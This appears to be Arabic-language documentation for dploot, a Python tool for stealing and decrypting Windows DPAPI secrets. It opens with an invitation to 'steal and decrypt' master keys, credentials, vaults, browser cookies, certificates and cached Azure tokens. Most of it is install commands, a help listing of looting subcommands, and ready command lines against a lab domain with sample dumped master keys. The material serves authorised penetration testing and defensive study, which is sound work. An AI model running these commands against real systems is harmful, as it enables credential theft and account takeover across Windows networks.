
اسرق وفك تشفير أسرار Windows DPAPI عن بُعد أو دون اتصال، بما في ذلك المفاتيح الرئيسية وبيانات الاعتماد والخزائن والشهادات وبيانات المتصفح ورموز Azure المخزّنة مؤقتًا.
dploot هي إعادة كتابة بلغة Python لأداة SharpDPAPI المكتوبة بلغة C# بواسطة Harmj0y، والتي هي بحد ذاتها نقل لـ DPAPI من Mimikatz بواسطة gentilkiwi. وهي تنفذ كل منطق DPAPI الخاص بهذه الأدوات، لكن هذه المرة يمكن استخدامها مع مفسر Python ومن بيئة Linux.
إذا كنت لا تعرف ما هو DPAPI، اطلع على هذا المقال.
يمكنك تثبيت dploot مباشرةً من PyPI باستخدام pipx:
pipx install git+https://github.com/zblurx/dploot.git
أو
pipx install dploot
على Kali Linux، يمكنك تثبيت dploot من المستودعات:
sudo apt install python3-dploot
dploot (https://github.com/zblurx/dploot) v4.0.0 by @_zblurx
usage: dploot [-h]
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
...
DPAPI looting in Python
positional arguments:
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
cng Dump users CNG files blob from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecng Dump system CNG files from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target
options:
-h, --help show this help message and exit
يدعم dploot v4.0.0+ بروتوكولات شبكة متعددة للوصول عن بُعد. تختار البروتوكول باستخدام --protocol <protocol_name>. لكل بروتوكول قدرات ومتطلبات مختلفة:
مثال باستخدام بروتوكول WMI:
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
مثال باستخدام البروتوكول المحلي (نظام ملفات دون اتصال):
$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
ملاحظات مهمة حول دعم الأوامر:
backupkey فقط مع بروتوكول SMB (يتطلب الوصول إلى وحدة تحكم المجال).--dpapi-system-key.يمكن لـ dploot المصادقة باستخدام Kerberos لبروتوكولات smb وwmi وmssql. استخدم -k لتمكين Kerberos مع الرجوع إلى NTLM. إذا كنت تريد استخدام تذكرة مخزنة مؤقتًا، فاستخدم --use-kcache. لاستخدام مفتاح AES، استخدم --aesKey.
$ dploot masterkeys -d waza.local -u Administrator -k -t 192.168.57.5
الهدف من dploot هو تبسيط استخراج البيانات المتعلقة بـ DPAPI من جهاز Linux. تعتمد طريقة استخدامك لهذه الأداة على مستوى وصولك وإعدادات الهدف.
البروتوكول الافتراضي هو SMB. هذا هو النهج الأكثر شيوعًا لاستخراج بيانات DPAPI ويعمل مع مشاركة الملفات القياسية في Windows:
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
توفّر WMI بديلاً عن SMB للوصول عن بُعد، وهي مفيدة عندما يكون SMB مقيّدًا:
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22